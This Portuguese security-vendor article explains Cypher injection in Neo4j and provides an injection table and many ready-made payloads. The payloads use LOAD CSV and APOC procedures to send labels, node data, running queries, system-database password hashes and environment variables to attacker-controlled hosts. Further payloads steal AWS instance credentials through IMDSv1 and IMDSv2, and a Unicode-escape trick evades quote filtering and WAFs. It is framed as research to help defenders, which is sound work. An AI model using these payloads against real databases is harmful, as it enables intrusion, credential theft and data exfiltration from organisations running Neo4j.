Com o aumento contínuo de bancos de dados gráficos, como o Neo4j, estamos vendo um aumento nos debates entre pesquisadores de segurança sobre os problemas encontrados nesses bancos de dados. No entanto, devido à nossa experiência com bancos de dados gráficos, desde o projeto de soluções complexas e escaláveis com bancos de dados gráficos até o ataque a eles, notamos uma lacuna entre as conversas públicas e o conhecimento de nossos pesquisadores de segurança sobre esses sistemas.
Neste artigo, iremos fornecer uma demonstração abrangente, técnica e orientada para a segurança das diferentes técnicas de ataque e evasão que usamos ao longo dos anos em cenários do mundo real. Nosso objetivo é ajudar a melhorar a segurança geral desse armazenamento de dados amplamente usado e dos aplicativos que dependem dele.
Cypher é a linguagem de consulta gráfica do Neo4j que permite recuperar dados do gráfico. Ele usa “um tipo de sintaxe de arte ASCII”, no qual colchetes são utilizados para representar nós e parêntesis representam relacionamentos. Se isso soa familiar, é porque foi inspirado no SQL (de acordo com o Neo4j).
MATCH (a: Actor)-[:actedIn]->(m: Movie)<-[:directedBy]-(d:Director)
RETURN a, m, d
Ao contrário do SQL, o Cypher oferece suporte a parâmetros no nível do protocolo. Mas há restrições aos parâmetros. Por exemplo, labels – que são as tags usadas para classificar nós e relacionamentos (Actor, actin, Movie, Director e directBy no nosso exemplo acima – não podem ser parâmetros, mesmo que sejam dinâmicos.
Como o SQL, pode-se filtrar dados usando WHERE. Por exemplo:
MATCH (a: Actor)-[:actedIn]->(m: Movie)<-[:directedBy]-(d:Director)
WHERE a.name = 'Olivia Colman'
RETURN a, m, d
Mas há outra maneira muito comum de filtrar os resultados na própria instrução MATCH:
MATCH (a: Actor {name:‘Olivia Colman'})-[:actedIn]->(m: Movie)<-[:directedBy]-(d:Director)
RETURN a, m, d
A principal diferença é que o WHERE é muito mais versátil e suporta lógicas avançadas, como OR, IN, RegExes e outras.
O Cypher, também, oferece suporte a instruções UNION, que permitem concatenar os resultados de diferentes consultas, desde que tenham as mesmas colunas. A forma como os dados são recuperados não importa, desde que as colunas tenham os mesmos nomes:
MATCH (a: Actor) RETURN a.name UNION RETURN 'some name' as name
O Cyphers suporta lógica mais avançada na forma de procedimentos e funções.
Procedimentos – gerar dados. Usando apenas uma instrução “CALL”. Por exemplo, liste todos os rótulos
Funções – manipular dados. Por exemplo, determine o comprimento de uma lista. Ao contrário dos procedimentos, eles retornam um único valor. Pode ser usado em qualquer lugar onde expressões são permitidas, como declarações WITH, WHERE e RETURN.
CALL db.labels() YIELD label RETURN label
WITH [1,2,3] as l RETURN size(l)
O Neo4j oferece suporte ao fornecimento de parâmetros para consultas, isso permite que os desenvolvedores passem a entrada com segurança, separadamente da consulta, portanto, as injeções não são possíveis.
Os parâmetros são passados ao servidor pelo cliente separadamente da própria consulta e podem ter diferentes tipos de valor, como string, list, int, bool ou map.
Na consulta, os parâmetros são referidos usando o cifrão ($).
Os parâmetros são uma ótima maneira de os desenvolvedores evitarem injeções, mas há limitações. Por exemplo, eles não podem ser usados para denotar rótulos ou nomes de campo.
As injeções podem ser encontradas em qualquer lugar na consulta, e as instruções MATCH e WHERE são cenários comuns.
Quanto encontramos uma injeção, a forma de explorá-la depende do local dentro da consulta. Abaixo destacamos uma tabela de diferentes locais de injeção e exemplos de exploração:
Injectable query | Injection |
---|---|
MATCH (o) WHERE o.Id='{input}'
|
' OR 1=1 WITH 0 as _l00 {…} RETURN 1 //
|
MATCH (o) WHERE '{input}' = o.Id |
'=' {…} WITH 0 as _l00 RETURN 1 //
|
MATCH (o) WHERE o:{input}
|
a {…} WITH 0 as _l00 RETURN 1 //
|
MATCH (o) WHERE o:`{input}`
|
a` {...} WITH 0 as _l00 RETURN 1 //
|
MATCH (o {id:'{input}'})
|
'}) RETURN 1 UNION MATCH (n) {...} RETURN 1 //
|
MATCH (o:{input})
|
a) RETURN 1 UNION MATCH (n){...} RETURN 1//
|
MATCH (o:`{input}`)
|
a`) RETURN 1 UNION MATCH (n){...} RETURN 1 //
|
MATCH (o)-[r {id:'{input}'})]-(o2)
|
'}]-() RETURN 1 UNION MATCH (n){...} RETURN 1//
|
MATCH (o)-[r:{input}]-(o2)
|
a]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //
|
MATCH (o)-[r:`{input}`]-(o2)
|
a`]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //
|
Observe a declaração UNION:
Então, o que há com a declaração WITH?
Usando WITH, podemos descartar todas as variáveis existentes. Isso é importante quando não sabemos qual é a consulta (mais sobre isso depois). Se nossa carga acidentalmente tentar definir uma variável que já existe, a execução da consulta falhará.
Naturalmente, se conhecermos a consulta e o banco de dados, nenhuma dessas técnicas será necessária. Podemos até manipular os dados retornados para, por sua vez, manipularmos o processo em vez apenas de abusar do servidor.
Apesar de mencionado em outros artigos, sempre vale a pena lembrar, LOAD CSV tenta carregar um csv do sistema de arquivos ou da web. O acesso ao sistema de arquivos geralmente é restrito, a menos que as restrições tenham sido explicitamente levantadas no arquivo de configuração (o que é improvável que seja o caso)
Mas um invasor pode usar a funcionalidade da Web para exfiltrar dados. Se a consulta for:
MATCH (o) WHEREo.Id='{input}' RETURN o
Então o atacante pode injetar a seguinte string:
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
Isso enviará todos os procedimentos instalados no banco de dados para o servidor do invasor.
O APOC (Awesome Procedures on Cypher) é um plug-in extremamente popular e com suporte oficial para Neo4j e que aprimora muito seus recursos. E a primeira coisa que um invasor irá verificar é se o APOC está instalado. Como ele adiciona muitas funções e procedimentos adicionais que os desenvolvedores podem usar em seu ambiente, isso significa mais poder para o desenvolvedor, mas também entrega mais poder para o invasor. Com isso, invasores podem usar os vários procedimentos e funções que o APOC oferece para realizar ataques mais avançados.
O APOC oferece funções que podem ser úteis para injeções. Essas funções podem serializar e codificar dados, facilitando muito a exfiltração de conteúdo confidencial.
apoc.convert.toJson – converte nós, mapas e muito mais em JSON
apoc.text.base64Encode – obtém uma string e a codifica como base64
Muito mais interessantes são os procedimentos que o APOC oferece. Eles são um divisor de águas para os invasores. HTTP:
apoc.load.jsonParams
apoc.load.csvParams
Vamos discutir mais sobre isso adiante no artigo.
Além disso, são interessantes os procedimentos e funções que permitem avaliar as consultas, entre eles:
Usando os procedimentos load. *params, um invasor pode especificar cabeçalhos, solicitar dados e usar métodos diferentes de GET
Nome | Tipo | Exemplo | Necessário |
---|---|---|---|
urlOrKeyorBinary | Any | "http://attacker.com/json" | Sim |
headers | Map or null | { method: "POST", `Authorization`:"BEARER " + hacked_token} | Sim |
payload | String or null | Data | Sim |
path | String or null | Data | Não |
config | Map or null | Null | Não |
Valores de retorno:
Name | Description | Type | Example |
---|---|---|---|
value | The parsed JSON | MAP | {"Hello": "World"} |
Note: in Neo4j 5, este procedimento foi movido para o APOC estendido
Arguments:
Name | Type | Example | Is Required |
---|---|---|---|
urlOrKeyorBinary | Any | "http://attacker.com/json" | Yes |
headers | Map or null | { method: "POST", `Authorization`:"BEARER " + hacked_token} | Yes |
payload | String or null | Data | Yes |
config | Map or null | {header: FALSE} | No |
Também podemos usar config para alterar o delimitador, as aspas, o caractere de escape, o separador de matriz, pular linhas ou se o CSV tem um alinha de cabeçalho ou não.
Valores de retorno:
Name | Description | Type | Example |
---|---|---|---|
lineNo | The line number of the value | Integer | 0 |
list | List of values in a row | List⟨string⟩ | ["a","b","c"] |
map | If headers are present, map will map the header with the value | Map | {"A: "a"} |
Exemplos:
CALL apoc.load.jsonParams("http://victim.internal/api/user",{ method: "POST", `Authorization`:"BEARER " + hacked_token},'{"name":"attacker", "password":"rockyou1"}',"") yield value as value
CALL apoc.load.csvParams("http://victim.internal/api/me",{ `Authorization`:"BEARER " + hacked_token}, null,{header:FALSE}) yield list
Existem muitas funções internas e o APOC que podem nos ajudar a obter informações sobre o banco de dados.
Usando o método interno db.labels, é possível listar todos os rótulos existentes.
Argurmentos: Nenhum
Valores de retorno:
Name | Description | Type | Example |
---|---|---|---|
label | Names of the labels | Rows of strings | Actor Movie |
Exemplo de injeção:
'}) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://attacker_ip /?l='+label as l RETURN 0 as _0
As teclas de função integradas podem ser usadas para listar as chaves das propriedades
Argumentos:
Valor de retorno:
É possível recuperar o valor de uma propriedade do nós se você tratá-lo como um mapa: n[key], para que possamos usar LOAD CSV para exfiltrar os dados. Certifique-se de usar toString
Exemplo de injeção:
' OR 1=1 WITH 1 as a MATCH (f:Flag) UNWIND keys(f) as p LOAD CSV FROM 'http://10.0.2.4:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
AVISO: Isso não funcionará se um dos campos for uma lista ou um mapa.
Se o APOC estiver disponível, há uma maneira melhor de fazer isso usando o apoc.convert.toJson
' OR 1=1 WITH 0 as _0 MATCH (n) LOAD CSV FROM 'http://10.0.2.4:8000/?' + apoc.convert.toJson(n) AS l RETURN 0 as _0 //
Argumentos: Qualquer coisa
Valor de retorno:
'}) RETURN 0 as _0 UNION MATCH (f:Flag) LOAD CSV FROM 'http://10.0.2.4:8000/?json='+apoc.convert.toJson(f) as l RETURN 0 as _0 //
Uma maneira de obter a versão do servidor é usar o procedimento dbms.components()
Argumento: nenhum
Valor de retorno:
Name | Description | Type | Example |
---|---|---|---|
name | The name of the component | String | Neo4j Kernel |
versions | A list of versions | List⟨String⟩ | [“4.4.10”] |
edition | The component's edition | String | community |
Exemplo de injeção:
' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.0.2.4:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //
Existem várias maneiras de obter a consulta em execução. O mais fácil é usar o procedimento dmbs.listQueries()
Argumento: nenhum
Valores de retorno: Muitos, entre eles:
Name | Description | Type | Example |
---|---|---|---|
query | The query itself | String | MATCH (o) RETURN o |
username | The name of the user that has executed the query | String | Neo4j_user |
parameters | The parameters with which the query is running | Map | main |
database | The name of the database | String | Neo4j |
Exemplo de injeção:
' OR 1=1 call dbms.listQueries() yield query LOAD CSV FROM 'http://10.0.2.4:8000/?' + query as l RETURN 1 //
Dbms.listQueries foi removido. Em vez disso, podemos usar SHOW TRANSACTIONS. Existem duas limitações principais:
Ao contrário de listQueries, podemos ver apenas a consulta atualmente executada na transação e não todas elas.
Se o núcleo APOC estiver instalado, podemos usá-lo para executar SHOW TRANSACTIONS. Se executarmos na mesma transação, apenas SHOW TRANSACTIONS será retornado em vez da consulta que estamos tentando ver. Podemos usar apoc.cypher.runMany para executar SHOW TRANSACTIONS, por que, ao contrário de outras funções e procedimentos de apoc.cypher, ele é executado em uma transação diferente.
' OR 1=1 call apoc.cypher.runMany("SHOW TRANSACTIONS yield currentQuery RETURN currentQuery",{}) yield result LOAD CSV FROM 'http://10.0.2.4:8000/?' + result['currentQuery'] as l RETURN 1//
Usando os procedimentos embutidos dbms.functions() e dbms.procedures() é possível listar todas as funções e procedimentos.
Ambos não obtêm parâmetros e compartilha os seguintes valores de retorno:
Name | Description | Type | Example |
---|---|---|---|
name | The name of the function or procedure | String | abs |
signature | The signature — how to call it and return values | String | "abs(input :: INTEGER?) :: (INTEGER?)" |
description | Describes what the function/procedure does | String | "Returns the absolute value of an integer." |
Existem outros valores de retorno que são menos relevantes para este artigo.
Exemplo de injeção:
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
' OR 1=1 WITH 1 as _l00 CALL dbms.functions() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
Esses procedimentos foram removidos no Neo4j 5 e já eram considerados obsoletos (mas funcionavam) no Neo4j 4.
Em vez disso, podemos usar SHOW PROCEDURES e SHOW FUNCTIONS.
Se o núcleo APOC estiver instalado, podemos usar qualquer um dos procedimentos ou funções que executam consultas para listar funções e procedimentos.
' OR 1=1 WITH apoc.cypher.runFirstColumnMany("SHOW FUNCTIONS YIELD name RETURN name",{}) as names UNWIND names AS name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
' OR 1=1 CALL apoc.cypher.run("SHOW PROCEDURES yield name RETURN name",{}) yield value
LOAD CSV FROM 'https://attacker.com/' + value['name'] as _l RETURN 1 //
O banco de dados do sistema é um banco de dados Neo4j especial que normalmente não pode ser consultado. Ele contém dados interessantes armazenados como nós:
Usando o APOC, é possível recuperar os nós, incluindo os hashes. Somente administradores podem fazer isso, mas na edição gratuita do Neo4j há apenas um administrador e nenhum outro usuário, então não é incomum encontrar-se executando como administrador.
Use o procedimento apoc.systemdb.graph() para recuperar os dados.
Argumentos: Nenhum
Valores de retorno:
Name | Type | Description |
---|---|---|
Nodes | List⟨Node⟩ | The nodes in the database |
Relationships | List⟨Relationship⟩ | The relationships in the database |
O Neo4j funciona de maneira inesperada com esses nós: se você apenas retornar os nós, poderá ver seus dados. Mas se tentar obter um campo específico, isso não funcionará. Isso porque o Neo4j irá procurar a ID do nó e retornará o campo do nó com o mesmo |I|D no banco de dados atual.
Uma solução é usar a função apoc.convert.toJson(), que obtém qualquer entrada e a converte em JSON.
Exemplo de injeção:
' OR 1=1 WITH 1 as a call apoc.systemdb.graph() yield nodes LOAD CSV FROM 'http://10.0.2.4:8000/?nodes=' + apoc.convert.toJson(nodes) as l RETURN 1 //
Observações: No Neo4j 5, os procedimentos foram movidos para APCO estendido.
O Neo4j usa SimpleHash do Apache Shiro para gerar o hash.
Abaixo está um pseudo-código (AKA python) do processo de hash:
def hash(password, salt, iterations):
data = salt+password
for i in range(iterations):
m = sha256()
m.update(data)
data = m.digest()
return hexlify(data)
O resultado é armazenado como uma string de valores separados por vírgula:
Por exemplo:
SHA-256, 8a80d3ba24d91ef934ce87c6e018d4c17efc939d5950f92c19ea29d7e88b562c,a92f9b1c571bf00e0483effbf39c4a13d136040af4e256d5a978d265308f7270,1024
Que significa:
A senha, alias, é “Neo4j”. Não use esta senha.
Frequentemente, desenvolvedores e engenheiros de DevOps usam variáveis de ambiente para armazenar segredos, fato que os torna um alvo interessante. Além disso, um red-teamer pode aprender muito sobre o alvo a partir da variável de ambiente, que pode conter informações cruciais para o movimento lateral na rede da vítima.
Usando APOC, é possível recuperar a variável de ambiente por meio do procedimento apoc.config.map() ou apoc.config.list().
Esses procedimentos só podem ser usados se estiverem incluídos na lista de procedimentos irrestritos no arquivo conf (dbms.sexcurity.procedures.unrestricted). Isso é mais comum do que se imagina, e pesquisar no Google o nome da configuração resulta em muitos sites e guias que aconselham a adicionar o valor “apoc.*”, que permite todos os procedimentos APOC.
Eles retornam a configuração do servidor, incluindo java e o sistema operacional, o que é interessante, claro, mas também retornam as variáveis de ambiente.
Os dois procedimentos são bastante semelhantes. A diferença é o valor de retorno.
Argumento: Nenhum
Valores de retorno:
apoc.config.list
Name | Type | Description |
---|---|---|
key | Rows of strings | The name of the configuration value or env var |
value | Rows of strings | The value of the configuration value or env var |
apoc.config.map
Name | Type | Description |
---|---|---|
map | Map | A key-value map |
Exemplo de injeção:
' OR 1=1 CALL apoc.config.list() YIELD key, value LOAD CSV FROM 'http://10.0.2.4:8000/?'+key+"="+" A B C" as l RETURN 1 //
Nota: no Neo4j 5 os procedimentos foram movidos para APOC estendido.
Em provedores de nuvem como AWS, GCP e Azure, as máquinas virtuais possuem um servidor de metadados que pode fornecer credenciais para a nuvem.
No AWS, o endereço do servidor de metadados é 169.254.169.254. Há muita informação lá, mas estamos focados em credenciais. Se a instância tiver um perfil de instância, que por sua vez tem uma função, então podemos obter suas credenciais.
São necessários três valores:
Precisamos definir esses valores como variáveis de ambientes ou colocá-los em um perfil de arquivo .aws/credencials e, em seguida, usar AWS CLI. Por exemplo:
> aws sts get-caller-identity
Ou
> aws s3 list
As ferramentas de exploração da AWS, como Pacu, também podem usar essas credenciais.
A AWS tem dois modes de servidor de metadados: IMDSv1 e IMDSv2. O IMDSv2 é a versão mais segura, mas a configuração padrão é que ambas as versões estejam ativas.
Esta é a versão mais simples, menos segura, mas muito comum.
Como invasor, tudo o que você precis fazer é enviar um GET para a seguinte URL:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
A resposta é tecnicamente uma lista de funções, embora normalmente haja apenas uma função atribuída. Depois de conhecer a função, envie um GET para a seguinte URL:
http://169.254.169.254/latest/meta-data/iam/security-credentials/{role}
Embora o formato seja JSON, também podemos usar LOAD CSV para fazer a requisição:
LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS roles UNWIND roles AS role LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role as l
O resultado deve ficar assim:
[{"l":["{"]},{"l":[" \"Code\" : \"Success\"",null]},{"l":[" \"LastUpdated\" : \"2022-08-07T06:23:25Z\"",null]},{"l":[" \"Type\" : \"AWS-HMAC\"",null]},{"l":[" \"AccessKeyId\" : \"ASIAX****WZ\"",null]},{"l":[" \"SecretAccessKey\" : \"xKdQRduW****\"",null]},{"l":[" \"Token\" : \"IQoJb3JpZ2luX2Vj********a==\"",null]}
Conhecemos o tamanho e a estrutura da resposta, então podemos exfiltrar tudo:
LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS roles UNWIND roles AS role LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role as l
WITH collect(l) AS _t LOAD CSV FROM 'http://{attacker_ip}/' + substring(_t[4][0],19, 20)+'_'+substring(_t[5][0],23, 40)+'_'+substring(_t[6][0],13, 1044) AS _
Isso enviará ao nosso servidor uma solicitação que contém primeiro a chave, depois o segredo da chave de acesso e, eventualmente, o token de acesso.
É a versão mais segura, projetada para proteger o servidor de metadados de simples falsificações de solicitação do lado do servidor (SSRFs).
Para usar o servidor de metadados, o invasor primeiro precisa enviar um PUSH para a seguinte URL:
http://169.254.169.254/latest/api/token
O servidor retornará um token que devemos colocar nas chamadas subsequentes ao servidor de metadados no cabeçalho: X-aws-ec2-metadata-token.
Isso levanta dois problemas: precisamos especificar cabeçalhos e usar métodos diferentes de GET.
LOAD CSV não pode fazer nenhuma dessas coisas, mas podemos usar apoc.load.csvParams para obter o token e a função e, em seguida, apoc.load.jsonParams para obter as próprias credenciais. O motivo pelo qual usamo csvParams é que a resposta não é um JSON válido.
Para obter o token:
CALL apoc.load.csvParams("http://169.254.169.254/latest/api/token", {method: "PUT",`X-aws-ec2-metadata-token-ttl-seconds`:21600},"",{header:FALSE}) yield list WITH list[0] as token RETURN token
Para obter a função e as credenciais:
CALL apoc.load.csvParams("http://169.254.169.254/latest/api/token", {method: "PUT",`X-aws-ec2-metadata-token-ttl-seconds`:21600},"",{header:FALSE}) yield list WITH list[0] as token
CALL apoc.load.csvParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/", { `X-aws-ec2-metadata-token`:token},null,{header:FALSE}) yield list UNWIND list as role
CALL apoc.load.jsonParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/"+role,{ `X-aws-ec2-metadata-token`:token },null,"") yield value as value
Observação: as duas últimas solicitação são GET. Para disparar com sucesso uma solicitação GET usando apoc.load.*Params, não devemos especificar um método.
Observação: o procedimento apoc.load.cvsParams foi movido para APOC estendido no Neo4j 5.
É possível chamar comandos AWS diretamente na instância Neo4j.
A AWS usa uma API baseada em XML para executar comandos e recuperar informações. Embora não haja apoc.load.xmlParams, é possível usar apoc.load.csvParams para recuperar XMLs. Ao alterar todos os caracteres especiais para caracteres binários que nunca aparecerão em um xml válido, podemos especificar cabeçalhos e o método e recuperar XMLs.
CALL apoc.load.csvParams('https://iam.amazonaws.com/?Action=ListUsers&Version=2010-05-08', {`X-Amz-Date`:$date, `Authorization`: $signed_token, `X-Amz-Security-Token`:$token}, null, ) YIELD list
^No Neo4j >= v4.2.0, muitas vezes é possível injetar Unicode usando “/uXXXX”. Por exemplo, você pode usar este método se o servidor tentar remover caracters como ‘, “, ` e assim por diante.
Isso pode não funcionar se uma letra seguir a sequência de escape Unicode. É seguro adicionar um espaço depois ou outra anotação Unicode.
Isso geralmente é útil quando há um WAF. Mas há outros casos em que esse recursos possibilita a exploração. Por exemplo, se o servidor remove as aspas simples e a consulta aparece da seguinte forma:
MATCH (a: {name: '$INPUT'}) RETURN a
É possível injetar:
\u0027 }) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM "http://attacker/ "+ label RETURN 0 as _o //
O Neo4j é uma ferramenta poderosa, usada e amada por desenvolvedores e especialistas em segurança. Como todas as ferramentas poderosas, já riscos a serem considerados ao usar a ferramenta, riscos que a maioria das pessoas não conhece ou entende. Esperamos que este artigo tenha ajudado a educá-lo sobre as diferentes maneiras pelas quais um invasor pode abusar do Neo4J, para que riscos sejam mitigados. Também esperamos que este artigo ajude especialistas em segurança a melhorar a segurança de sistemas e aplicativos que avaliam.
Citamos estão algumas maneiras pelas quais podemos ajudá-lo a começar a jornada para reduzir o risco de dados da sua empresa.
Agende uma sessão de demonstração conosco, iremos tirar todas as suas dúvidas e ajudá-lo a ver se a Varonis é adequada para suas necessidades.
Baixe nosso relatório gratuito e conheça os riscos associados à exposição de dados SaaS.